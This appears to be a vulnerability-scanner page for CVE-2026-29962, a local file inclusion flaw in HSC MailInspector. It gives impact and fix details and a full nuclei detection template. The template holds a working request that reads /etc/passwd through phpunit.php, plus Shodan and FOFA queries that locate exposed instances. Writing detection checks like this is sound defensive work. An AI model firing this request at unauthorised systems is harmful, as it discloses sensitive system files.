HSC MailInspector - Local File Inclusion

highseverity

7.5CVSS score

1.5%likelihood of exploitation, next 30 days

75%of all CVEs are less likely

Readycheck to confirm it

HSC MailInspector v5.3.3-7 contains a path traversal caused by improper control of user-supplied file paths in /vendor/phpunit/phpunit.php, letting remote attackers read arbitrary files, exploit requires crafted request.

Impact

Remote attackers can read arbitrary files, potentially disclosing sensitive information from the system.

Fix

Update to the latest version.

How to confirm it

Send: GET {{BaseURL}}/mailinspector
Positive when: contains "/mailinspector/"
Send: GET {{BaseURL}}/mailinspector/vendor/phpunit/phpunit.php?--bootstrap=/etc/passwd
Positive when: status 200 AND contains "root:x:0:0:"

Run it with nuclei: nuclei -id CVE-2026-29962 -u <target>

The full check

id: CVE-2026-29962

info:
  name: HSC MailInspector - Local File Inclusion
  author: str4k3r
  severity: high
  description: |
    HSC MailInspector v5.3.3-7 contains a path traversal caused by improper control of user-supplied file paths in /vendor/phpunit/phpunit.php, letting remote attackers read arbitrary files, exploit requires crafted request.
  impact: |
    Remote attackers can read arbitrary files, potentially disclosing sensitive information from the system.
  remediation: |
    Update to the latest version.
  reference:
    - https://github.com/sql3t0/cve-disclosures/blob/main/01_-_CVE-2026-29962_LFI%2BPath_Traversal.md
    - https://nvd.nist.gov/vuln/detail/CVE-2026-29962
  classification:
    cve-id: CVE-2026-29962
    epss-score: 0.0153
    epss-percentile: 0.74957
    cwe-id: CWE-73
    cvss-score: 7.5
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  metadata:
    verified: true
    max-request: 1
    vendor: hsclabs
    product: mailinspector
    shodan-query: http.html:"mailinspector"
    fofa-query: body="mailinspector"
  tags: cve,cve2026,mailinspector,php,phpunit,lfi

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/mailinspector"

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "/mailinspector/"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/mailinspector/vendor/phpunit/phpunit.php?--bootstrap=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "root:x:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from